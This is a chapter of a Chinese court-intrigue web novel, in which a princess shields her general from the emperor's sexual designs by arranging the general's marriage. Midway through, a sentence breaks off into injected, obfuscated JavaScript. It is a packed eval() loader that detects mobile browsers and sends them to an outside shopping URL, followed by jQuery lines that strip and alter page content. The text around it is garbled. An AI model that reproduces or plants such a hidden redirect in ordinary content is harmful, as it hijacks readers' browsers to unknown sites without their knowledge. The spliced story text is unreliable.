“什么!?”萧冶执箸夹菜的手悬在半空,震惊地看着他。
杜安世不以为然:“范阳王告诉我的,何况你自个看看,陛下的眼睛都黏她身上了。”
萧冶越过舞蹈的宫姬,看向正位上高坐的皇帝,他举着酒杯,那带着贪猎意味的、色气十足的目光落在陈瑰身上。
她身着官服,正与左右同僚闲谈,似乎并没注意到那些目光。
皇后庄妙盈没来,贵妃胡玉琼倒是来了,了然地看了一眼,没说什么。
仿佛早就习惯皇帝就是个好色到什么都敢觊觎的人了。
说实话,从很多种角度来看,陈瑰都不算太漂亮。
她好战,骁勇,忠诚,皮肤麦黄得有些粗糙,掌心亦是一层粗茧,她的五官生得很大,便衬出凌厉英气的美,其实八年前萧冶救下她的时候她没有现在这么高,大抵是她有些天赋,吃食好上去以后,一下就蹿高了。
萧煦看上陈瑰,跟杜安世喜欢萧冶是类似的,她们足够强势、足够有才能,如此智慧聪敏的女人,婉转臣服在自己的身下,哪怕别着脸喘息两声,都会给这些无能的男人带来一种爽到升天的享受。
毕竟位高权重到他们那种地步,一个美丽的女人,已经不能给这些男人带来刺激感了。
她得有故事。
比如她是臣子的妻子,再比如,她是骁勇善战的将军。
从萧冶的爹到萧冶的哥哥,可以说,萧家的男人都有这个毛病。
萧冶感到一阵头晕目眩的恶心。
因为萧煦如果真的对陈瑰有所企图的话,她没有办法,她什么办法都没有。
皇帝在这事上,有说一不二的权力。
无论是他想纳她为妃,还是想和她在下朝时或什么时候来点露水情缘,陈瑰根本不能拒绝,帝王临幸垂恩,那就得受着。
萧冶深吸一口气,强逼自己冷静:“当年陛下纳胡贵妃的时候,你们这些臣子就没规劝几句吗?”
杜安世毫不在乎:“劝什么?”
“她那时嫁给沈殿都有三年了吧?君夺臣妇,终是见不得光的事。”萧冶冷淡地问。
杜安世为她布菜,压低声音:“那时陛下还是宣王,沈殿只是王府的一个队正,胡贵妃带了点饭食来看他,恰撞见陛下,隔日就唤她入府做乳母了。这种事有什么好劝的?明面上过得去了就完了,谁还真管皇帝临幸谁不临幸谁的事了?没必要。”
“一个劝的都没有?”
杜安世搂住她的腰,笑道:“这便是你们女人没见识了,当时陛下如日中天,已有登临大宝之势,我们何必为了一个他已经临幸过的女人究竟合不合规矩去得罪他,依我看,满朝多少人都羡慕沈殿,就送个婆娘,官都升到哪儿去了。
“再说,陛下看上陈瑰有何不好,咱们还多个亲信的人留在皇帝身边,探探他的动向。”
萧冶冷笑:“陈瑰是陛下的臣子,你就得意陛下看上的是个女人吧,等他将日看上男人你们就老实了。”
“怎么可能呢。”杜安世畅然大笑。
他笑得太大声,吸引了一众的目光,萧煦似也有些醉酒上头,龙目微眯:“杜爱卿与宝艳说些什么呢,怎不让朕也听听?”
杜安世起身敬酒:“末将只是与公主说,晋国公在军中飒爽英姿,就是比起和陛下在宫里的娘娘来,也毫不逊色啊。”
他话音刚落,一向镇定自持的陈瑰气得险些把手里的酒杯攥碎。
萧煦脸上闲适的笑意逐渐淡了。
他握着酒杯的手顿了顿,目光缓缓转向杜安世,从龙椅上站起来,哈哈大笑:“说得好!说得好啊!杜爱卿,朕跟你干了!”
杜安世一饮而尽,酒冲喉咙,有些过辣,他身形晃了晃。
萧冶连忙扶住,行个半礼:“驸马喝多了,还望皇兄海涵。”
“无妨、无妨。”萧煦摆摆手,又自坐下喝了。
萧冶扶着杜安世坐定,转头兀自执箸吃菜,心里痛骂:
蠢呐!蠢呐!
就算皇帝有心思,那也不能当他的面说啊,如此多人的场合,明着说皇帝对臣子起了心思,不是找死吗。
萧冶气得晚上都没回杜府睡,回了衡园。
*
窗下灯架蜡烛都快烧干,陈瑰终于回来了。
她着身绛紫色官袍,幞头包发,清爽干练得都有几分女扮男装的味道,进门时先拱手行礼:
“公主,长瑜姑姑说您一直在等我。”
萧冶叹了口气:“坐吧。”
“诶。”她寻了个椅子坐定。
屋子里很昏暗,灯架上好几根蜡烛都已经熄了,也没吩咐人点,就任由房间暗着,暗到她们彼此看不清彼此的脸。
也许只有在这么暗的地方,她们才能开展这场对话。
萧冶:“今天有宫宴,宫门下钥晚,我看你中间逃席了一回,说是去散心了,你出去没多久,皇兄也去了,后来你们是前后脚一起回来的,中间隔了半刻钟吧。”
陈瑰:“是。”
萧冶几乎是咬着牙在问了:“睡过了吗?”
“没有,只是与陛下说了会儿话,陛下以为我会为驸马说的那些话生气,就宽慰了我两句。”陈瑰摇摇头,她的眼睛一直盯着鞋尖,然而屋里太黑了,盯不到,“但是末将觉得,快了。”
萧冶强忍着想杀人的念头:“大概什么时候看上你的?”
陈瑰深深地叹气:“几日前封爵诏书下来,我进宫谢恩的时候,大抵就是那天吧,在此之前我从未见过陛下。”
萧煦就那样从龙椅上走下来,带着玩味的,审视的眼神贪婪地看着她:“听宝艳说,你是营伎出身?很擅骑射?”
“是。”
“擅的什么骑射?叫朕也见识见识?”
……
萧冶怒得眼睛发红,只觉身心都受到了极大的侮辱,她精心培养出来的将军,封了国公,送到中央朝廷,结果在她哥眼里,她只是一个妹妹送给他的,可以享用的,更为精致的礼物。
她深吸口气:“你现在怎么想的?”
陈瑰默然:“公主,末将一直都以您为榜样,有些事您能做的,其实末将也可以做,您不必为末将觉得委屈,末将早就想明白了。”
萧冶又是一阵头晕目眩的恶心。
其实这些年,萧冶为了权力不管不顾地和那些男人□□,除了睡一个死一个的战绩外,还给她麾下所有女子都留了个深刻的道理——就是为了巨大的利益运用一下身体没什么大不了的。
她确实是靠身体用最快的速度获得了他们的信任。
然而有萧冶在,她们不需要用身体来做些什么,因为萧冶已经做完了。
男人们也不会用身体来取悦萧冶,因为萧冶真的不好色,她不吃这套。
公主府是个很纯粹的地方,论功行赏,好好给她办事就有前途。
但出了公主府,那就是要接受他们凝视和揣测,接受一些连萧冶都兜不住的规则。
陈瑰必须直面这些。
萧冶在黑暗中摸索着倒茶水,平
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078361|191204||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
叙地说:“陛下已经盯着你了,再把你调回肃州已是不可能,本宫扪心自问,这么些年睡下来,真觉得没什么大不了的,如果睡个男人你能得到高权厚禄,你爱睡便睡吧,我反正替你试过了,若是真的极爱权,那睡得还挺开心的。”
陈瑰就笑了:“末将知道,末将谢公主宽慰。”
萧冶给她也倒了一杯挪过去:“然而平时雨露交欢就罢了,可别真给他弄到宫里当妃子去了,陛下既然没说,我也权当做不知道这事。你现在是国公了,风头正盛,偌大的国公府,也缺个管理主事的,阿瑰啊,你有心仪的男子吗?”
她拦不住皇帝,只能赶紧让陈瑰成家,她有了夫婿,甚至有了男宠,皇帝到底还顾忌点。
陈瑰接过茶盏,笑叹:“没有呀,末将要是有,肯定早就忍不住告诉公主了。”
萧冶眸色浅淡:“那本宫为你安排一桩婚事吧,你无须忌讳你的出身,我朝都多少年没出女国公了,多少贵胄门庭都愿意将家中儿子配给你的。本宫细细想过,你将日的丈夫,一则相貌要你满意,归根结底你们要一张床上睡觉的;二则不拘他与家里人如何,但门户一定要够高,高到皇帝好歹会顾忌一些;第三,正夫需宽和大度,容得了人,国公按例可纳小孺六人,倒未必一定要六人纳满,先纳几个伺候着。晋国公府就你一个人,太空了,我都怕你晚上一个人睡太寂寞。”
陈瑰刚才和她说那些话的时候脸不红心跳的,此刻却有点羞赧,点了点头:“公主,我都听您的。”
*
萧冶极少去烟花之地,因此是沃见霜去寻了一趟燕春楼的拂娘子,问她要了一批雏伎,到公主府那里过了一圈,再转手送去晋国公府,全都给陈瑰了。
至于婚事,定的也非常快,是谈清推荐的人选,太常寺祭酒孔尚信的次子孔敬。
“孔尚信的长兄做过皇兄的师父,皇帝要尊师重道,你和孔家结亲,他好歹还得念着点当年恩师的面子,不会太过分。何况孔家传承千余载,虽不算大富大贵之家,却也有名望为靠,与你还算合适。孔敬你自己看过了,也不错,婚期定了腊月,不能再早了,本宫得赶在下雪前回肃州,赶不上婚礼,就给你多添了一份礼,你一会回府记得带上。”萧冶与陈瑰坐在湖心亭对弈,边落子边道。
“末将都明白,多谢公主。”陈瑰夹持白子,亦然落下。
棋枰黑白错落,两人下了好几盘,各有输赢,直到黄昏时陈瑰才回去。
暮色围拢,湖风簇过湖面,闪出粼粼水波,萧冶望着湖面出神许久,才转回目光,慢悠悠地将桌上的黑白棋子收回棋盒里。
心烦得很。
面前伸过来一只手,是陆偊。
他没行礼,只是低头帮她将黑子和白子分开,动作很快,不像萧冶慢吞吞的。陆偊关心地说:“天快黑了,公主早些回去吧。”
萧冶静静地问:“这几天都在忙陈瑰的事,累得很,你呢,你看着本宫为她忙来忙去的,你有什么话想与我说的吗?”
陆偊根本不知道陈瑰这事还有皇帝这个巨大的前提,有点懵:“我能说什么呀,我觉得挺好的啊,男人三妻四妾的都多了去了,陈将军自己有本事,弄多点男人伺候就伺候呗,我还挺高兴的。”
萧冶长松一口气:“嗯,有道理。”
她有时候都不知道没有陆偊,自己该指着点什么干净的东西当念想。
“好了,我们该回去了。”
*
天气逐渐转冷,他们回到肃州时,正赶上第一场大雪。